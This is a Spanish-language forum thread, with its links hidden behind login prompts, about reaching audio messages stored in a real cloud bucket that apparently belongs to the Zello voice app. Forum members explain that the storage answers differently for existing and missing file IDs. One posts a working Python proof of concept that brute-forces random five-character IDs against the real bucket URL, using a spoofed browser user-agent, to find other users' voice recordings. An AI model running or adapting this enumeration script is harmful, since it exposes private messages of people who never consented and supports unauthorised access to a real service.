You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Tambien se puede usar wget de forma recursiva, pero...
Tengo una novedad @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Los mp3 no vienen de: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login sino de un bucket de Amazon
Este es el Bucket xD: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pueden explotarlo haciendo los 2 tipos de tecnicas que dicen uds o usar bing o You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
tendran 14 audios.
Saludos colegas
Exacto.
Funciona de una manera muy simple:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login<id>
Devuelve un 200 OK si hay archivo de audio, y un 403 Forbidden si no hay archivo.

Los IDs, aparentemente, tienen una longitud de entre 5 y 13 caracteres alfanuméricos en mayúsculas y minúsculas.
Este es un pequeño PoC para encontrar archivos de forma aleatoria con solo 5 caracteres de longitud.
import requests
import random
def random_string():
return "".join([random.choice("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM") for _ in range(5)])
for x in range(500):
a = random_string()
req = requests.get("https://s3.amazonaws.com/zello.sharedmessages/" + a, headers={'User-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0'})
if req.status_code == 200:
print a + " existe. - - - - - - - - - - - - -"
else:
print a + " no existe. -> " + str(req.status_code)Y funciona tal que así.











